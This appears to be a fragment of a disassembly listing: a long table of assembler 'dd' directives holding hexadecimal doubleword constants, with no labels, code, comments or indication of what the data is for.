		dd 18DA88C7h, 0CAB24AE2h, 0CAB44AB1h, 4ABECABBh, 4AA0CABDh
		dd 780885A7h, 582EC81Bh, 28B4A841h, 89A98A7h, 0DAAF788Dh
		dd 0DAD47AD1h, 5ADE3ADBh, 5AE0FADDh, 15EA3AE7h,	484ED85Bh
		dd 2874B861h, 0F89A6887h, 184088ADh, 0EAF46A7Ch, 0AAFE2AFBh
		dd 6AE0EAFDh, 0AAEA2AE7h, 0B8AEA5E9h, 0D8B44881h, 0E85A68A7h
		dd 860984Dh, 0FA49B873h, 0BADE1ADBh, 7AA01ADDh,	0BAAA1AA7h
		dd 35AC1AA9h, 0C8F458E1h, 0E8DA78C7h, 3800A82Dh, 18268833h
		dd 8ABE0A16h, 8AA00ABDh, 8AAA0AA7h, 8AAC0AA9h, 0F934C453h
		dd 0D91A4927h, 29E0A90Dh, 9C699F3h, 9BE3F9D9h, 9B603B5Dh
		dd 9B6AFB67h, 9B6C3B69h, 54767B73h, 0C91A5907h,	2940B92Dh
		dd 79A6E9B3h, 198C8999h, 0AB602BB0h, 6B6AEB67h,	0AB6C2B69h
		dd 0EB566B53h, 0B95AE455h, 5960C94Dh, 6986E973h, 9AC9999h
		dd 0BB7DB9BFh, 7BAADBA7h, 0BBACDBA9h, 0FBB65BB3h, 74B85BB5h
		dd 4980D9ADh, 69A6F9B3h, 394CA959h, 1972897Fh, 4BAACB4Ah
		dd 4BACCBA9h, 0CBD64BD3h, 0CBD84BD5h, 79E004DFh, 59C6C9F3h
		dd 292CA9D9h, 932993Fh,	5B177925h, 5BECFBE9h, 0DBF6BBF3h
		dd 0DBF87BF5h, 0C702BBFFh, 4E26DE33h, 0C5F3A610h, 0B2C773B1h
		dd 52DFD6FAh, 23A0E9F4h, 0ADCB8284h, 7E6BE23Dh,	938229C2h
		dd 0B3D81FCCh, 0D3D2E99Eh, 85BD72A0h, 23183ABh,	221B37B4h
		dd 53BA61AEh, 0A5A5F210h, 696D03B3h, 0A267238Dh, 0D3DD4D96h
		dd 0B2277D90h, 13C6B38Ah, 7981E2B8h, 0F92DC33Fh, 3211E339h
		dd 932E7172h, 2B6962ECh, 7B63022Ch, 0B2E76321h,	0CB57925Bh
		dd 0DB64A315h, 12B1C30Fh, 310AF348h, 0C63F8242h, 0F939A208h
		dd 526543B7h, 0F3AC0130h, 13A6ED7Fh, 0A321225Ah, 0D2BBC39Fh
		dd 0F2A5B618h, 938EC312h, 5309A2DCh, 27564387h,	17FF6381h
		dd 12129AFAh, 0E7F147D8h, 1CEB27D0h, 4BEBE20Dh,	39DF4EE3h
		dd 0B20CCEDCh, 18D39708h, 66716205h, 12868317h,	0B6C17774h
		dd 4302D2FFh, 6264487Ch, 3EBFD30Ah, 6333327Dh, 309CEB6h
		dd 0E24CE2B0h, 61938BE8h, 0C8A582DFh, 7A74EAC5h, 72934198h
		dd 0BF03AB92h, 816C066Ch, 0EB63426Bh, 0D653724Dh, 124CC27Fh
		dd 222CE474h, 55C4D77Ah, 7F45E277h, 876B120Fh, 0B27BEDB5h
		dd 0C22EBD56h, 0C7B67764h, 832782DDh, 2715B249h, 0A12BFB57h
		dd 62A89D38h, 0AFA51706h, 72E0321Ch, 2BF3528Bh,	71E1E945h
		dd 0F90F7DE6h, 3A44290Dh, 5004017Dh, 0FAFDA471h, 2EE009BFh
		dd 636C3052h, 0C15B2092h, 0D989E69h, 98DBCC51h,	0DA2E5999h
		dd 0AD9E4ADCh, 0CEC4234Bh, 1A43544Bh, 0A302D9F9h, 9C38964Eh
		dd 0EFBEA54Ch, 0AFA89148h, 0F824A97Bh, 4142D5EAh, 73625F97h
		dd 81784C19h, 0C54B1A9Dh, 0D3684379h, 0B4F6A76Bh, 544C5E86h
		dd 347BD58Ch, 0AAB9444Dh, 61DDE41Dh, 1DB40589h,	3A991E6Fh
		dd 1D901CB3h, 0E1FD4B62h, 1FFD0B7h, 0CD545E14h,	41ECC12Eh
		dd 618809BBh, 0DC3FB7CEh, 58AACED0h, 0F174C827h, 4E1D9D5Dh
		dd 449C9A6Ch, 1311A21Ch, 1CB5BE01h, 4C4DA04h, 74DF120Ah
		dd 90D13047h, 60DE6C20h, 0CA8A7E3h, 0A6F6E40Ah,	0FEC0D8F5h
		dd 7DFB9FCEh, 0B72286ABh, 0B456F897h, 714AD881h, 28E31B3Ch
		dd 0F4367019h, 4BD5E02Fh, 12B4B0B4h, 406CC8BAh,	0A785F395h
		dd 561A0C29h, 0A06E75BEh, 0EDEC5192h, 0F08D6183h, 6CA3FEh
		dd 0BD952B73h, 0A83EE2B8h, 729AECF2h, 507CF1F2h, 38917544h
		dd 3B734C59h, 0DED68BC5h, 0EF453073h, 0CC142D40h, 0AF6BAA1Eh
		dd 3BB5F59Bh, 941F4762h, 70BC0077h, 177C34E9h, 0D0C58C75h
		dd 5DD80D2Ah, 0E449F1D4h, 0CF0BC077h, 65EAE072h, 0F52F4B0Ah
		dd 52F2A12Ch, 271324F9h
		dd 6C2F7BDAh, 86F59D85h, 2F9B67A1h, 5F948F86h, 3F099A65h
		dd 9F34FF88h, 0BA264E3Bh, 0EF0D2FB4h, 14320D2Ch, 2F8C8BDFh
		dd 2D2A9E74h, 6296C78Ch, 4EEAFB85h, 67C7E7C7h, 504E2FE6h
		dd 0EFE8DBB3h, 9A9D7C05h, 0CFA4809Eh, 1212EB7Fh, 2DD53176h
		dd 0CEA7AA98h, 0DF5F38EAh, 47BC2C08h, 0BD01F3Dh, 52589D41h
		dd 0F8E4365Bh, 0E983C359h, 5AD09C6Fh, 4F92DD34h, 0C86FEC00h
		dd 407BC86Ch, 7276D277h, 8520B071h, 1E10973Bh, 0D4355BB7h
		dd 7EEFAAD1h, 7ADADE42h, 0AF541DCEh, 21285FA4h,	4E038F21h
		dd 0EAF21BFCh, 0C9507F0Ah, 0F0FA6F81h, 0F7FB4101h, 5DE5BA79h
		dd 33620932h, 5DA9531Dh, 148584Dh, 258994Ah, 1FF23F97h
		dd 9CA7B2C1h, 32F3BFFh,	66C5B688h, 0A646BFA9h, 9ED13EF7h
		dd 0FE1ED6B4h, 67AD31B0h, 4EEA962Fh, 6F2E2327h,	0CA94BE71h
		dd 0A985BA17h, 74E04217h, 46A1E173h, 9DCA87A6h,	4DBD83C4h
		dd 83DC8D3Ah, 0A521DCD5h, 0FE433F3h, 0E40D3639h, 0AC6FC722h
		dd 6ACC95EBh, 5B687EF5h, 81381F25h, 0EEC2F35Eh,	0A3CCDFF8h
		dd 39E1FF72h, 4E7E5E08h, 0CF8D6BBFh, 20C7957Eh,	0E7CB6E64h
		dd 653B1DE9h, 4CC5C497h, 38534699h, 0FEB2B83h, 25883F5Ah
		dd 63DFB940h, 6ED912BDh, 281D619Ch, 10EEB5B4h, 80EF3CF4h
		dd 61E45470h, 0B58BA09Fh, 39F18DE2h, 0C773705Fh, 8DF96A9Dh
		dd 0AED33DD7h, 0DE7F5983h, 4CD2E8FBh, 9F6B977h,	0C6928D97h
		dd 3FCB50D9h, 0D8D8DE53h, 96650F74h, 0FDAA53C4h, 0D77BB597h
		dd 899696DAh, 0C3BF1D7h, 0E290EFFBh, 0F59E9501h, 0E780DB48h
		dd 0F2517593h, 8B2B5536h, 894D5D8Fh, 5D4619FBh,	8AC1430h
		dd 89C8AC2Ah, 3A138EA4h, 655A741Dh, 9DFE60BFh, 32147939h
		dd 6C918B9h, 1D6AF62Ch,	0C96C1453h, 8DC9988h, 0D476C9F8h
		dd 552D64CEh, 6F8AFD1Ch, 3AE30D62h, 5721188Bh, 417CA0E8h
		dd 61CAC314h, 29A3CF0Ah, 4CE73CCAh, 81277F3Dh, 0BC1812A8h
		dd 8B2D71D5h, 164E4DB0h, 0E7C509C0h, 3C79B629h,	2CFCF9BDh
		dd 835C5FB0h, 884E3DF3h, 0ADEB79EEh, 0CDEFD32Bh, 0CD63DF1Fh
		dd 93C27F96h, 0C79B1448h, 64AB2A10h, 7BB83799h,	7BCBEB3h
		dd 0C866F419h, 470C58FCh, 0A96E5035h, 4C53BAB6h, 0DC00A4BAh
		dd 2856353Ah, 950B8349h, 0CC757209h, 4AD9BD6Dh,	0A5FC2C46h
		dd 97726980h, 0AF27C73Bh, 0D350495Ah, 6C608C3Bh, 0DF0D92Bh
		dd 580F321Eh, 0BCF1DD7Eh, 32525B33h, 0D983BC72h, 3C2C6EBAh
		dd 4EE3FDEDh, 0B513FE38h, 2E7C9BADh, 66AA721Bh,	5AACE465h
		dd 42167E6Fh, 8D22A2A5h, 832A3E53h, 92396491h, 0B5DB9340h
		dd 687C42AAh, 9446CA99h, 22BDD93Fh, 0D1D32BE3h,	13BDEDD2h
		dd 1B791A83h, 1041FB94h, 0DCE85FDBh, 54C93386h,	0FFC5E2E5h
		dd 54690B46h, 23866F0Eh, 0A6F08A6Bh, 6E269379h,	0C5411A54h
		dd 0C57B032Fh, 0B621E555h, 0E30F9362h, 0EBA9FA50h, 50B73BD3h
		dd 52197F00h, 1BBC4A0Ah, 9FD4166Ah, 7BBACAFEh, 93149004h
		dd 914FA7CDh, 935FA5B6h, 0CB4B1B6Dh, 0BFDF1BAAh, 3A5A09D3h
		dd 0AB31D020h, 4B0F792Ch, 297FA6AAh, 0AA177342h, 54819F3Bh
		dd 6B247991h, 0DADD3B98h, 87F66582h, 69D2F69h, 7AA9EB5Eh
		dd 0EAE09ACDh, 866EED80h, 0EEFB2AACh, 48836894h, 0E51A0FBAh
		dd 48DDF83Fh, 38FB5Dh, 0F716392Ch, 65D65883h, 0BB46F29h
		dd 554B6DF7h, 4711BF1Fh, 6AA1A615h, 7B6F2A7Dh, 2E451BFCh
		dd 66AB9396h, 8E1724F8h, 0DBEE6F32h, 0C23B99E8h, 0FA29CA2Bh
		dd 6B1DDFEDh, 554B5A1Dh, 0EED24504h, 7E46315Ah,	87C88BC9h
		dd 0D8BEBAD7h, 0FAB8539Dh, 85D737BDh, 0AA1D2DB1h, 88FE38C5h
		dd 0B2D18A4Ch, 388C8BB3h, 927DB6DCh, 0AB4BCA58h, 528681E4h
		dd 0A27B6F9Ah, 0C9346A69h, 0E1A68EF2h, 5C64878Eh, 0E5E3D18Dh
		dd 197748C2h, 1FC19C0Ah, 0F9BAFEF5h, 0E3DF5165h, 405C4041h
		dd 0D9692E7h, 0E1A0C9B6h, 0CA7289C9h, 3B9032B4h, 0B6BBB827h
		dd 0C38A5138h, 89DE993Ah, 0C9755DE2h, 30B63D86h, 65846616h
		dd 0CDEB2A00h, 667AF9EDh, 767DBD3Ch, 4625E1FFh,	0D51B3602h
		dd 0FC92CD5Ah, 4B88A522h, 0C13318F1h, 4D098348h, 0EDC6C108h
		dd 0AE0AC1Dh, 9AB02D59h, 55291C00h, 3B10DBA4h, 54E0316Bh
		dd 0EDB0CAD3h, 0C90769AAh, 4DB38AD8h, 0E11CCB4Ah, 8371182Ch
		dd 8D932972h, 0AB7D3533h, 828501D6h, 5CFE16A5h,	0CA3A7FE2h
		dd 0EA34B167h, 8A60631Bh, 2562B982h, 0F894996Dh, 0AAAD8288h
		dd 8357545Ah, 7A705D41h, 0B78B57A4h, 0BC6BCDDh,	1332F8A8h
		dd 292F8C39h, 6976B53Dh, 0E0492820h, 0A92C3852h, 7AC1B8E3h
		dd 0CC3E0FAFh, 9F3111A9h, 586BBD19h, 40D8FCBCh,	88201835h
		dd 9AEFF9AFh, 3A1F098Bh, 52301C70h, 372B41CFh, 44C057C5h
		dd 88BB85E1h, 4C780156h, 830F0821h, 4ACA7170h, 1BC653ECh
		dd 8A95DADh, 97AE18E5h,	0AD752099h, 60FE6393h, 3DA2AA3Fh
		dd 0F8A299ADh, 0D94F8078h, 0BA12DDEAh, 4A477C59h, 44F6CD43h
		dd 0D60A6818h, 7E7CF94Ah, 0F68D4DDFh, 9B53DB43h, 67C12345h
		dd 0A5EB46AAh, 0CE504042h, 15FB5F8Ch, 3B65C66Ch, 0AB572267h
		dd 0E554534Ch, 4276525Ah, 21B3BD60h, 0C371791Eh, 0E0D7236Ch
		dd 6B612A2Bh, 0AB20102Ah, 47AC738Eh, 25B53754h,	9784A6BBh
		dd 0A563E407h, 4046220Fh, 855F89ACh, 0CAF0B895h, 462C76A7h
		dd 3AD2340Bh, 0D169B6B3h, 75E2BC43h, 63E3706Fh,	0DD96224Fh
		dd 87AAE2C4h, 81841691h, 4BA4DACCh, 0A6EDCC3h, 66617A9h
		dd 630672Bh, 267817D4h,	0C2EDF76Eh, 6AA3E6B5h, 56BE32Fh
		dd 0F5AC76C7h, 0C4E386A8h, 0D6BCF364h, 0BE8E7478h, 8E3F9EC2h
		dd 2EB9613Ah, 76E46947h, 226007B1h, 0A68245F2h,	2C41543Ch
		dd 0CB6ED43Eh, 0D66B0B42h, 110A84E3h, 26E67ABFh, 370CB6B1h
		dd 2227A555h, 4DA5176Dh, 977DF578h, 7255064Dh, 829DEBF6h
		dd 121F7080h, 831AF2B6h, 0A55272F1h, 97BAE4FAh,	0CD105D0Bh
		dd 272D5153h, 434BDB68h, 840346F3h, 47AB1488h, 0FEE6427Fh
		dd 0C5B03D24h, 669C9EDEh, 29F5C718h, 5B7F77D3h,	1E88439Fh
		dd 0F7191356h, 62BD31F6h, 8B7645B1h, 0A7B1BAD8h, 74C5717h
		dd 0E74F692h, 688FDC02h, 3069D688h, 6018B525h, 604087DFh
		dd 8B8CF7E7h, 0C0237C99h, 74DFDDAFh, 0EE189415h, 5418E083h
		dd 9561FFBBh, 265EB6AEh, 91DD4A31h, 506AF6D3h, 0ADE12E15h
		dd 5AF978FEh, 86505E21h, 0BEDFDE13h, 0B2CE5A76h, 24D5B03Dh
		dd 8496374Eh, 1D28A68h,	274A5596h, 7755B42Eh, 65FD3935h
		dd 0B7E7E583h, 5A0B48Eh, 0E5C45550h, 8D4C8DFCh,	0F46C3773h
		dd 0B2310CEEh, 4926F45Dh, 348F354Dh, 0F05D129Bh, 5589F274h
		dd 4F930666h, 6649172Fh, 1D332DB2h, 87D6747h, 17C88FAFh
		dd 8E1DE4D0h, 0F49F4D63h, 0EBCD0720h, 0C4D51B47h, 859D1255h
		dd 86242D74h, 144F94FEh, 0B410144Ch, 660D5E67h,	0D0CCFC8h
		dd 230D99F6h, 3497397Fh, 0B01E1EC0h, 0D4756C19h, 0D7BCB3C1h
		dd 332AAFD3h, 449EACE8h, 0C4372942h, 24D7BEDh, 0B0C33CE7h
		dd 0E6F83ECEh, 19B5E6A2h, 0F4CC09F6h, 0E9ECECFDh, 6C00839Ah
		dd 20FCE48Ah, 0B4B10019h, 265782h, 0D89D97B5h, 49A3F18Fh
		dd 180B8C82h, 875E1878h, 4B739954h, 600CE073h, 6803003Eh
		dd 0E4CEC562h, 0FB1DFCD4h, 0BA8C643Eh, 99B0E77Ch, 0B75B9C7Eh
		dd 4483ADEDh, 71B6222h,	0C6B21001h, 83478326h, 8CBCE158h
		dd 6E17845Ah, 34E37120h, 35E92CCDh, 545BD6D2h, 0B436F5AFh
		dd 83A9837Ch, 0E3A9AA17h
		dd 0E9C0BD11h, 0D849B0B7h, 0FBB41A87h, 307A9384h, 51D3B37Ch
		dd 24A5274h, 224CB942h,	0D3DB373Fh, 0D91D5A78h,	365074Bh
		dd 1A0132BEh, 7A4BB707h, 1146768h, 0C60A4FA3h, 1D149014h
		dd 0CC5C22C4h, 0B894D424h, 0BB2A0E3Ah, 2C9023A2h, 5709C90Dh
		dd 63850C98h, 112758Dh,	0DC2C986Ch, 7326BACEh, 0DA71D6FDh
		dd 8E378CBAh, 0AE302F29h, 0BBB3630Bh, 2444B118h, 0C1CE6372h
		dd 0C0F15EC7h, 3247F2C7h, 53129289h, 1255E6B1h,	0AF0112BEh
		dd 4A3B82F6h, 4634326Ah, 0F85331D2h, 0A1DDD95Ch, 0D002D2B7h
		dd 83DBC7E5h, 43AF0D9h,	0BFF1B625h, 4F70F285h, 0E9D4D586h
		dd 1766CEA3h, 0DC3B28E0h, 87D813C5h, 9C5E5D58h,	0D2854CFh
		dd 0A1C9C36Ah, 0D9C4F234h, 22BEB944h, 38F2AAAh,	5CBA33BBh
		dd 0AAE3109Eh, 0F2ADC2A0h, 0EA8BAB42h, 0A331E4F4h, 12BAE9A3h
		dd 7202A4DDh, 0C2F4CF17h, 57EFDBBFh, 0E2DFDC56h, 0A76AB01h
		dd 2AF27D5Ah, 0A131E93Ah, 62378A53h, 777E224Dh,	0CA4A0143h
		dd 92A53200h, 75BB629Ah, 90FF4854h, 57EBE9Ah, 237A5332h
		dd 4300E08Ch, 4E7E107h,	0DE39E7B9h, 19D9970Ch, 0C318A71Fh
		dd 991ED52Fh, 31C85AABh, 6B0F4D4h, 0CF809252h, 6124F1E6h
		dd 0A32879CAh, 5AD1C397h, 0E0F424F5h, 0F9E7157Dh, 318FCABAh
		dd 5F09A114h, 0C229ECFAh, 60EE6CC5h, 89DF84D3h,	34CBD8FEh
		dd 4FCEECB2h, 0DDB06AE1h, 5FC5414Ah, 17A41A0Fh,	79BEB29Fh
		dd 1C9CE158h, 0F2BE7FB7h, 0E1A492D6h, 0B5200066h, 0B2ADDDD1h
		dd 372649B8h, 742F18B5h, 5763A7Ch, 1F820E1h, 0C81D7A73h
		dd 95543A5Eh, 6D360309h, 765F6BEBh, 3B7FF4D3h, 207E1C85h
		dd 8C38827Ah, 0E876ED5Dh, 0F3EDED7h, 2AD95408h,	0C042BCBDh
		dd 471F3F0Bh, 94151E1Bh, 9520E038h, 97F2552Bh, 41F75134h
		dd 69E3D06Ah, 0A22B332Eh, 0AAB3C6D7h, 0E38679C0h, 4CD58FFFh
		dd 28A088E4h, 6396EBDDh, 2CF023B5h, 0EF7ED17Eh,	0A5DA6BEDh
		dd 28830184h, 0C46AA9E2h, 500B885h, 49E01FACh, 6120BDEFh
		dd 0ACC54066h, 1CCFE5B1h, 0EAA5F88Dh, 8A00738Dh, 0D2E6F1E1h
		dd 5F9472CFh, 7F189996h, 0A8B8AE8Ch, 0A46AF0D4h, 0D121B3FBh
		dd 0EC44930Bh, 0D9F6C254h, 1BAC1D76h, 425873A2h, 2FD9DD5Fh
		dd 0D85C6DD8h, 5BB18519h, 7BCA9014h, 1215A1h, 0F066647Bh
		dd 7F3D5060h, 0A17C03DAh, 59B3A504h, 9B50586Fh,	54B0E4C4h
		dd 532BFDA9h, 0E3D29A9Dh, 0DC55E2D5h, 61476069h, 0CEAC33C1h
		dd 0A40ED5D6h, 6DF91711h, 6671C0CAh, 24ED5710h,	4A6D00DEh
		dd 8EB1AED6h, 9BD8749Bh, 74C01DEBh, 0E4E0DDD9h,	0E8FA2E5h
		dd 0D60982CBh, 0AE5CC34Fh, 16757EE0h, 8012CD7Bh, 527FADE2h
		dd 74962B09h, 0EE097A9h, 3CAAFD3Eh, 0D599AA7h, 2D780C7Ah
		dd 0EEB85DCFh, 5CA2B427h, 8E4C1D00h, 0AB0DA692h, 0D840CBC2h
		dd 0F82E146Bh, 4E245F6Dh, 57FE82A0h, 0BD933D54h, 9D7B0DBEh
		dd 0CB938D53h, 0D78E04FAh, 92639647h, 273A906Ah, 7E9A276Ah
		dd 4D4D1D6Fh, 0B46A2D92h, 0BA08E363h, 0A4946EAEh, 0FFA7AB5Fh
		dd 0C35C0415h, 0BA945C21h, 1A80C0C1h, 5A334FB3h, 0EE98E89Ah
		dd 9C3DA790h, 0E36E49C9h, 0DF68F00Ah, 0FA40C190h, 1C94FD59h
		dd 3FFB7AD5h, 0A0F1AA30h, 0B0DC859Fh, 7C44ADA7h, 0BCEBC7E8h
		dd 0BCCF0D8Fh, 4F59E48Fh, 0B6CFE1A1h, 0A5F51931h, 0B487FEBFh
		dd 2096F91Ch, 8D92E493h, 0E175CD59h, 3F1361A4h,	1F4B4F05h
		dd 214DDAEEh, 0CCCBC1DCh, 54CB8613h, 0E65B06FCh, 8B41ABA1h
		dd 0DFA58C09h, 9ECB5E24h, 0FB3FCA9h, 2735CEB6h,	53787047h
		dd 5C68CA9h, 0FAF30341h, 55B04FAEh, 5449843Bh, 0B462786Bh
		dd 4E716165h, 0C8284639h, 6F238D4Ah, 405FAA99h,	0CF47325Eh
		dd 0FB887C69h, 0EC92EDC8h, 52CF3065h, 0EACC6AA7h, 3C2B2EDFh
		dd 1F29F113h, 7D401173h, 9D9A9DAAh, 7F398C5h, 0AA158F8Dh
		dd 33E6A2E8h, 2BD40694h, 426BAEDFh, 45A48935h, 21CBE889h
		dd 0B0DF3E8Ch, 0EDEF29E5h, 0FC5C89EDh, 80681D43h, 8E59E50h
		dd 734FF805h, 590EED6Ch, 333E94D7h, 5DC80FECh, 0CC92F17Bh
		dd 88DE0105h, 8011100Ch, 0F58ACC61h, 0B6283C03h, 87E8F11h
		dd 3464809Eh, 671C847Eh, 0FE44C614h, 98B65A44h,	0B2D17FE6h
		dd 6DD02D85h, 31EB5D0Bh, 0A858AE49h, 862D7813h,	6D280721h
		dd 0F902F908h, 0C48C0CABh, 2D6BED5Bh, 0A61D2C47h, 3C6BC8BFh
		dd 1D4E6F78h, 0F19561F0h, 1632E4Eh, 9EAAAF7Bh, 22566EBAh
		dd 0DE396FF8h, 6239DEF6h, 0F48E2853h, 908013CBh, 1B0FA94Bh
		dd 0B30959E9h, 4881C4E4h, 0A41D6817h, 67E5A00Ah, 0EE5D7964h
		dd 18D5D7F4h, 0EAC5CDF8h, 4967EE5Bh, 0E7E38F11h, 0D7EB2E4Fh
		dd 9CB3DAF6h, 71E2345Bh, 247026F9h, 0AF690C7Fh,	0B437CD08h
		dd 0D3DC7161h, 9E63E876h, 21DAAC4Bh, 0A07F5AC3h, 47994639h
		dd 88FF8367h, 0BF3A0633h, 29243BC2h, 731C6227h,	412C8092h
		dd 45D2D717h, 0ADEA3931h, 0F85806A4h, 0F2D5D999h, 3F0ACCAEh
		dd 673BCE32h, 93AE2466h, 69A4166Eh, 0B80CD812h,	9EEEF3B5h
		dd 4270022h, 5E68EDE7h,	0B6D9C16Ah, 0B8619E3Bh,	0ACECF346h
		dd 739B7C9Ch, 28384BE7h, 2BE14FF9h, 2403EDF4h, 0E6253F56h
		dd 0EA8F5801h, 0D06FE04Ah, 1D5B34E7h, 0E2DC1F17h, 0B5A04DD7h
		dd 0BD49CB89h, 40240F03h, 0F740F4A0h, 0FF2E48ECh, 0DB30AB60h
		dd 0E6FD867h, 6923F3C7h, 982D691Eh, 330D8325h, 454B5A85h
		dd 0D2708CA0h, 0DA5E20BAh, 755D659h, 0B9EF5A47h, 0F369BB79h
		dd 935A320h, 5F399E12h,	0E680A977h, 7AD99893h, 7D0FC1FCh
		dd 834079B2h, 681119A4h, 0B819DE16h, 0AF30CBD1h, 7BECF56h
		dd 2A579F2Bh, 0F6E7321Ch, 0EA392BBDh, 3854C6A5h, 2FEA43h
		dd 48CD1821h, 0B61177B6h, 0C5319ED0h, 0FEAF4AA0h, 3AA051AFh
		dd 770F3FAFh, 69A57480h, 6A5F3A72h, 97BE62AFh, 39A00D68h
		dd 0DEAEA664h, 0F636692Fh, 0ED21FC2Ah, 1F4BB156h, 0EA800B7Eh
		dd 0CA5F2B74h, 0F8C5CB80h, 0AE429E7h, 869775F3h, 560F731Eh
		dd 0A9F7EBA3h, 5BD0E2B3h, 0CBF7C21Dh, 2727E217h, 0F28202FCh
		dd 0CDDA7F6h, 0F5CFADECh, 1E4AE9DEh, 17939A4Ah,	7EE9854Eh
		dd 0AAEC9AE3h, 630DCB8Ah, 46D843FCh, 32EDEA27h,	0D9051F74h
		dd 0FDEBDAh, 6C213FDAh,	6F3442FCh, 0B9750FE8h, 0BA8D5864h
		dd 2A7FC0C8h, 0BD0B4B39h, 35D5A843h, 73130A1Ah,	9A19EA95h
		dd 36BCAA36h, 5903E646h, 0BA27E449h, 3FAC446Eh,	2F71A877h
		dd 7DBD5401h, 8DC87B8Bh, 0DE0128B9h, 0EB9622DFh, 0CF54385Ah
		dd 0A67F2023h, 718C7C4Fh, 6B670301h, 78ACA31Ch,	6F72A8DCh
		dd 57C1A9C5h, 53406D92h, 7DA64E6Ch, 38DF4951h, 0F89EBD8Dh
		dd 7FAF1A72h, 0D4AC4510h, 348B0D36h, 0F0C14098h, 54FC50F3h
		dd 0BF3578FFh, 0A57A9AE1h, 0E9D2ABA6h, 845E27FAh, 52AD0905h
		dd 26BBEC16h, 0EED0ED56h, 3AE851E6h, 0B102BD5Ch, 320234CEh
		dd 54120AACh, 0B586F96Bh, 305FDDDEh, 91B9AD2h, 0C73174E0h
		dd 0C852906Fh, 48434871h, 0EECF2A53h, 44D915ECh, 7EBD9A35h
		dd 0FDA97543h, 3FC10C8Ah, 1CB44F93h, 0E6E8924Fh, 5FBE111Ah
		dd 957E696Bh, 0CD89CE4Dh, 4B63E1E6h, 0E898B522h, 0E865EB4Bh
		dd 0DB8E5A01h, 18CE31FAh, 9911A8E4h, 0F1EB89D7h, 0FCE8F0ECh
		dd 0C29367A7h, 0BC1F37B6h, 18F7789Dh, 0F80403B3h, 0D9825831h
		dd 8946C00Dh, 6DFFF480h, 8FEEA2DCh, 9A46FD83h, 1F9520A3h
		dd 0F9F5C74Bh, 7AA26EB2h, 0CEA71F6h, 1DC41008h,	35ACAFF2h
		dd 5022D704h, 0A20B658Fh
		dd 57F8E10h, 0F356A578h, 0B4612515h, 690246EAh,	70350698h
		dd 3569D05Fh, 9DAD071Ch, 2BB6E487h, 0B5CD0650h,	0C474964Ah
		dd 0E97CCF04h, 2B03ABBAh, 0BFB5C7ACh, 77B41831h, 126F50ACh
		dd 2359DC5Ah, 26FBFE00h, 4A1AA7A9h, 0E7C07969h,	9CED0C7Dh
		dd 7C000122h, 852D0C66h, 728A5F7Fh, 4511D71Ch, 5A7C1116h
		dd 96960EE7h, 7EF40A80h, 0DF0948AFh, 85832E2Bh,	0CFAB6295h
		dd 968CF71Dh, 328523F2h, 54CC16A8h, 0F9B35AD1h,	17F72317h
		dd 0DD4B9AADh, 95B2D4C0h, 76A1EFD0h, 1938313h, 39EFD5D4h
		dd 87055F9h, 0F614942Bh, 771D26E3h, 0C741B403h,	700D4371h
		dd 0CB6C16A3h, 168107EEh, 0E711CFCCh, 22595FF1h, 7D23E2CBh
		dd 0BD08441h, 713A61DEh, 55354341h, 1EBED2C0h, 0C7B4FE3Ch
		dd 0B6BF5BE9h, 0C3E964C4h, 0A8B690A8h, 9DE197F5h, 20C2AADBh
		dd 0E165976Ch, 27636B1Fh, 7AE1577Ch, 2302AB37h,	7664B7D0h
		dd 4657674Eh, 477977A0h, 6766F4E0h, 3E64A9D5h, 80F167E2h
		dd 0E15B435Dh, 0DFEEA57Bh, 0F239B951h, 86716456h, 79D40D45h
		dd 79B6F43Fh, 829513CAh, 6641E75Bh, 0EB48E674h,	0E3A81773h
		dd 8326BADFh, 7D19150Eh, 15EDF151h, 0D0AC98Bh, 967CD24Dh
		dd 1B74D0D1h, 0D0FC7CFFh, 0E50F85F0h, 0B091AD83h, 0B886E45Ah
		dd 178F8618h, 0C9962C69h, 6850C04Dh, 6D5AD406h,	310E04A5h
		dd 0B8B721FEh, 245C4340h, 0B1F561BCh, 14B308A4h, 27E4A57Bh
		dd 0BFA0C475h, 7E74C2A2h, 0CD6BB717h, 49A27A14h, 0ADB4F13Fh
		dd 4640D83Dh, 0D4654105h, 0FDC875AEh, 96EB7665h, 9EB375D6h
		dd 5248B08Fh, 74BBE4E3h, 78F0B0h, 2075A44Bh, 93C40E45h
		dd 0A070B49Bh, 658CD480h, 67EB05C3h, 9D875A33h,	6D3EDCB5h
		dd 0CCC38BA2h, 323B1035h, 1F751A1h, 173B1027h, 10D22CBBh
		dd 1E1D31A3h, 0D54D0DBCh, 5D518A0Ah, 40ED5041h,	32E49BF6h
		dd 18104C0Ah, 0B7FA1AE1h, 211E8012h, 7BDFB995h,	17D84C62h
		dd 0C19FDD39h, 0DBED02BBh, 0F6782674h, 619E7C47h, 791B74E1h
		dd 9536C857h, 0F78EA1B1h, 0C65E076Eh, 66161E4Eh, 3018C9ACh
		dd 0A4A78684h, 0C2768F7Ch, 0C589D05Ch, 509F8C3Bh, 52F6D460h
		dd 679BB80Ah, 91EA2B07h, 0F7CF2791h, 43508984h,	0D4E296B0h
		dd 0C97FEC5Ch, 0E0FADEDBh, 0D35273DAh, 0A4ABDC59h, 72F0F4A8h
		dd 0E4DFA4C5h, 3677DD3Ah, 0F6D07063h, 0E2D9C61Eh, 0AC3D7D9Ch
		dd 6A622120h, 0A555CC3Ch, 85690D30h, 9DF753F9h,	44EB64CBh
		dd 1FEC46Eh, 0F0C7039Ah, 92A4F16Ch, 92584322h, 57E80064h
		dd 7F13DC3Ch, 6E5E7302h, 80DB5267h, 28A115F8h, 94744A7Ch
		dd 62FA4639h, 4CDF7654h, 0AC2BA18Dh, 0F3A3FC87h, 6E207880h
		dd 0AED4B89Bh, 86A2C309h, 8D9492A1h, 6FB5B836h,	2344A9E7h
		dd 9CBBF18Fh, 0B2D29D79h, 0A65CB903h, 736D9B42h, 5174938Bh
		dd 0CAE8A126h, 75103845h, 771DDB9Dh, 0E832FBDFh, 0FA433723h
		dd 86B7C055h, 75F2F192h, 0AF7AB0A6h, 0C22AD70Ch, 9296400Bh
		dd 3A3F0B34h, 9D1FCA7Dh, 2FF311F5h, 0E8E2775Bh,	0E3561F2Ah
		dd 2A31E05Ch, 0B83BDC39h, 936E8180h, 345A120Eh,	82BD8FE3h
		dd 0F07BAB26h, 0C30A079Ah, 5CB62B98h, 235F920Ah, 3152A01Ch
		dd 0EF54699Ah, 227A35Bh, 0A400743Ch, 0A013E04Dh, 0DE859B1Ch
		dd 0FE25C0EBh, 0E43C09E5h, 0BF90F3A2h, 61D68321h, 3927772Fh
		dd 0B68905ADh, 0F57B72D2h, 0E585A02Ch, 1C53E703h, 5C0C81B2h
